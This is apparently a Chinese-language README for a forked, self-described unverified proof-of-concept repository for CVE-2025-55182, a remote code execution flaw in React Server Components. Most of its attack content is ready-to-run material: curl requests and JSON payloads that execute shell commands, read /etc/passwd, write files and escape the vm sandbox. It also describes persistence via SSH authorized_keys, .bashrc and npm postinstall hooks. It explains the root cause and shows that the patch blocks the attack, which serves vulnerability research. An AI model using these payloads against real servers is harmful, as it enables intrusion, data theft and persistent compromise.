
该POC演示了CVE-2025-55182,使用了实际的`[email protected]`漏洞代码。
本 PoC 使用实际的 [email protected] 漏洞代码演示 CVE-2025-55182。
CVE-2025-55182 紧急修复指南:Next.js/React RSC 漏洞 (CVSS 10.0) 完整分析与缓解措施
本仓库 fork 自 https://github.com/ejpir/CVE-2025-55182-poc,尚未经过验证!请谨慎使用并仔细核实!
# 安装依赖
npm install
# 启动易受攻击的服务器(端口 3002)
npm start
# 运行 RCE 漏洞利用
npm run exploit
=== CVE-2025-55182 - 通过 vm.runInThisContext 实现 RCE ===
测试 1:直接调用 vm#runInThisContext 执行代码
1+1 = {"success":true,"result":"2"}
测试 2:vm.runInThisContext 配合 require
RCE 尝试:{"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# 服务器
npm start # 启动主服务器 (server-realistic.js, 端口 3002)
npm run start:legacy # 启动旧版服务器 (server.js, 端口 3002)
npm run start:module # 启动模块服务器 (端口 3003) - 假设性,见下方说明
# 漏洞利用(配合 npm start 使用)
npm run exploit # RCE 演示(使用 vm,适用于:vm、child_process、fs)
npm run exploit:all # 测试所有 gadgets
npm run exploit:persistence # 持久化攻击(仅 fs)
npm run exploit:research # 原型链研究
# 假设性漏洞利用(配合 start:module 使用)
npm run exploit:module # 通过 module#_load 实现两步 RCE
npm run exploit:indirect # 两步 RCE(创建证明文件)
注意:
module漏洞利用是假设性的。module内置模块在生产应用中很少被打包。它们演示了当仅fs+module可用时(无 vm/child_process)的理论攻击路径。实践中,拥有fs的应用通常也会通过 sharp、puppeteer 或 execa 等依赖引入child_process。
# 先启动服务器
npm start
# 测试 fs 读取
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# 测试命令执行
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# 测试 vm 代码执行
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# 测试原型链访问
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| 文件 | 端口 | 描述 |
|---|---|---|
src/server-realistic.js | 3002 | 主服务器 - 模拟包含常用模块(fs、vm、child_process)的 webpack 包 |
src/server.js | 3002 | 旧版服务器(使用直接 require) |
src/server-module-test.js | 3003 | 包含 module + fs 的服务器(用于研究) |
| 文件 | 描述 |
|---|---|
exploit-rce-v4.js | 主要 RCE,通过 vm#runInThisContext |
exploit-all-gadgets.js | 测试所有 RCE gadgets(vm、child_process、fs) |
exploit-module-load.js | 通过 fs + module#_load 实现两步 RCE |
exploit-indirect-rce.js | 两步 RCE(创建证明文件) |
exploit-persistence.js | 持久化攻击(SSH 密钥、.bashrc) |
exploit-research.js | 原型链研究 |
模拟真实的 webpack 包,其中应用通常通过依赖打包危险模块:
// 打包的模块(使用常见包时会包含的内容)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* 用户的服务器 actions */ },
'fs': require('fs'), // 通过 fs-extra、gray-matter、multer
'child_process': require('child_process'), // 通过 execa、shelljs、puppeteer
'vm': require('vm'), // 通过 ejs、pug、handlebars
'util': require('util'),
};
__webpack_require__ 函数仅从 BUNDLED_MODULES 加载模块,模拟真实的 webpack 行为。
在 requireModule() 中,exports 通过方括号访问,未进行 hasOwnProperty 检查:
// 存在漏洞(React 19.0.0)
return moduleExports[metadata[2]]; // 访问原型链!
// 已修复(React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0id: 'vm#runInThisContext' 加载 vm 模块,访问 runInThisContext 导出bound 数组成为函数的参数runInThisContext(CODE) 执行任意代码| Gadget | 状态 | 描述 |
|---|---|---|
vm#runInThisContext | ✓ | 在当前上下文中执行任意 JS |
vm#runInNewContext | ✓ | 在“沙箱”中执行(易于逃逸) |
child_process#execSync | ✓ | 直接执行 shell 命令 |
child_process#execFileSync | ✓ | 执行二进制文件 |
child_process#spawnSync | ✓ | 生成进程(返回对象) |
module#_load | ✓ | 加载并执行 JS 文件(需要两步配合 fs) |
fs#readFileSync | ✓ | 读取任意文件 |
fs#writeFileSync | ✓ | 写入任意文件 |
执行 shell 命令(whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
读取敏感文件:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
写入文件到磁盘:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
执行任意 JavaScript:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
沙箱逃逸(vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
对于直接 RCE:是,需要以下之一:
vm 模块(runInThisContext、runInNewContext)child_process 模块(execSync、execFileSync、spawnSync)对于间接 RCE(仅 fs):否!仅使用 fs 即可:
~/.ssh/authorized_keys → SSH 访问~/.bashrc → 下次登录时执行代码node_modules/* → 应用重启时 RCEpackage.json postinstall → 下次 npm install 时 RCE注意:这是假设性的。
module内置模块在生产中很少打包。
// 步骤 1:写入恶意模块
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// 步骤 2:加载它
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// 结果:RCE!
| 版本 | 攻击 | 结果 |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ 实现 RCE |
| React 19.2.1 | vm#runInThisContext | ✗ 已阻止 |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# 攻击将失败
参见 VULNERABLE-PACKAGES.md 了解包含危险模块的流行 npm 包的研究:
| 模块 | 周下载量 | 流行包 |
|---|---|---|
fs | 145M+ | fs-extra、gray-matter、multer、sharp |
child_process | 103M+ | execa、shelljs、puppeteer、sharp |
vm | 21M+ | ejs、pug、handlebars、vm2 |